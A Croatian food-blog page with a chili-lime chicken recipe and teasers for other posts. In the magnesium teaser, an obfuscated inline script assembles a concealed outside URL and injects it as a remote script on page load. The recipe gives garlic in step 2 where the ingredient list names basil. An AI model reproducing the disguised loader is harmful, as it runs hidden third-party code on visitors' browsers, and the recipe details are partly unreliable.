PILETINA S ČILIJEM I LIMETOM 🐔


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Piletina s čilijem i limetom


Piletina s čilijem i limetom 



Piletina s čilijem i limetom savršena je kad želite brz, ukusan i efektan obrok, ali bez puno kompliciranja.





Piletina s čilijem i limetom 


Sastojci:

  • 900 g pilećih prsa ili zabataka bez kostiju i kože
  • 2 čajne žličice dimljene paprike u prahu
  • 2 čajne žličice mljevenog kumina
  • sol, po ukusu
  • crni papar, po ukusu
  • 30 g hladnog slanog maslaca, narezanog na listiće
  • 12 g svježeg bosiljka
  • kuhana riža, za posluživanje

Umak od čilija i limete

  • 60 g slanog maslaca
  • 1 čajna žličica luka u prahu
  • 1 čajna žličica češnjaka u prahu
  • 1/2 čajne žličice kajenskog papra
  • 1/2 čajne žličice čilija u prahu
  • 1 čili papričica, očišćena od sjemenki i narezana
  • 115 g meda
  • 80 g svježe iscijeđenog soka limete
  • 15 g svježeg korijandra, sitno nasjeckanog
  • sol po ukusu



Priprema:

  1. Zagrijte pećnicu na 200 stupnjeva.
  2. U posudi za pečenje pomiješajte 900 g piletine, 12 g češnjaka, 4 g dimljene paprike, 4 g kumina, sol i papar. Po vrhu rasporedite 30 g maslaca narezanog na listiće.
  3. Pecite 20–30 minuta, dok piletina ne bude potpuno pečena i sočna.
  4. Dok se piletina peče, u manjem loncu na laganoj vatri otopite 60 g maslaca. Dodajte 3 g luka u prahu, 3 g češnjaka u prahu, 1 g kajenskog papra, 1 g čilija i čili papričicu. Maknite s vatre pa umiješajte 115 g meda, 80 g soka limete i 15 g korijandra. Posolite po ukusu.
  5. Pečenu piletinu prelijte toplim umakom. Poslužite s rižom i pospite svježim bosiljkom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više